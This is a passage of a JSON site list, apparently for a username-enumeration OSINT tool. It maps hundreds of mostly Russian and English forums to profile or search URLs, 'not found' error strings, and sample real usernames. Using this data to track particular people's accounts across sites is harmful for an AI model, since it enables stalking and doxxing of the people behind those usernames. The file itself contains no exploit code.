"errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "comments": "super", + "bad_site": 1 + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_pcreview": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pcreview.co.uk/members/?username={}", + "urlMain": "https://www.pcreview.co.uk", + "usernameON": "floppybootstomp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pedelecs": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pedelecs.co.uk/forum/members/?username={}", + "urlMain": "https://www.pedelecs.co.uk", + "usernameON": "pedalfettal", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": 